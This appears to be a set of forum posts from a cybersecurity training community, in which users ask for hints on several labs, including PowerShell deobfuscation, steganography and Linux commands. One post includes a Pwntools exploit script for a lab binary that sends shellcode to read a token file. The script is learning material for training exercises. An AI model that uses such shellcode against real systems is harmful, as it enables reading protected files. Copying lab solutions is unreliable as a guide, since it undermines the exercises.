PowerShell Deobfuscation: Ep 8 help
I have been stuck on this EP for a week and haven't been able to progress. I am hoping someone can give me a hint to help me get through this one. Here is what I have done so far. I take the original encoded message and apply "FromBase64" and then "Raw Inflate" and I get the following data: You can see it outputs another command that also needs to decoded using the same steps above. That output gives you this... It outputs a string of characters but no obvious way to get this readable. I have tried bit-shifting, rotating characters, and a bunch of other tests and nothing has shown me anything that is remotely readable. I assume I am missing something simple but every time I read it back through, I don't see what I missed. Any help you can provide would be greatly appreciated.
Need Help for Pwntools: Ep. 6 — Demonstrate Your Skills
I'm trying to solve an lab in Immersive labs Pwntools: Ep. 6 — Demonstrate Your Skills And I got stuck in the last step. I've tried the solution for using cat2 (from https://www.reddit.com/r/immersivelabs/comments/1ap3tub/pwntools_ep_6_demonstrate_your_skills/) but it is still not working. Could you please help me with this if possible shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0) is what I tried from pwn import * import struct # Start the challenge binary p = process("/opt/demonstrate-challenge") # Use the correct path # === Part 1: Solve Arithmetic Challenge === p.recvuntil(b"What is the sum of ") numbers = p.recvline().decode().strip().split(" and ") num1 = int(numbers[0]) num2 = int(numbers[1].split("?")[0]) print(f"[+] Solving: {num1} + {num2} = {num1 + num2}") p.sendline(str(num1 + num2)) # === Part 2: Solve Packing Challenge === p.recvuntil(b"Send me back the following two 32-bit unsigned integers packed in little-endian order:\n") values = p.recvline().decode().strip().split(" and ") val1 = int(values[0]) val2 =int(values[1]) print(f"[+] Packing values: {val1} and {val2}") payload = struct.pack("<II", val1, val2) p.send(payload) # === Part 3: Leak Address of parsing_check() === elf = ELF("/opt/demonstrate-challenge") # Load the ELF binary parsing_check_addr = elf.symbols['parsing_check'] # Get function address print(f"[+] Found parsing_check() address: {hex(parsing_check_addr)}") p.sendline(str(parsing_check_addr)) # === Part 4: Send Shellcode to Read /home/token-user/token.txt === file_path = '/home/token-user/token.txt' shellcode = shellcraft.cat2(file_path, 1, 40) # Pwntools shellcode shellcode += shellcraft.ret() # Ensure proper return assembled_shellcode = asm(shellcode) p.send(assembled_shellcode) # === Get Flag Output === response = p.recvall() print(response)
Historic Steganography Lab
I've been stuck on question 6 in the Stenography lab within the Historic Encryption upskill series. I'm not sure if I'm missing something within the command line or if the password/passphrase for the file is wrong. The password/passphrase is supposed to be "carnivale" Here are some screenshots to help zero in where I'm at. Thanks all!
Threat Research: AMPscript Analysis
This is one of those labs that I return to periodically and then abandon after half an hour whilst scratching my head........Does anyone have any pointers about how to approach this?

The one that's prepopulated: acb1730c-c3dc-4c1a-ad3d-207216370def or the one in the briefing: e2e6555a-64a5-43ed-984e-1d342780b72f many thanks in advance - GusHelp again Linux CLI: Ep.16 – Combining Commands
I feel like I'm banging my head against the wall with the last 2 questions of this lab. I've been stuck on question 5 for the grep command. Any hints of what am I doing wrong? missing? And then the last question to run sleep. Huh? Is there a command to combine with the sleep 600? Any help would be appreciated. So I can finally do the last lab for Linux. =)
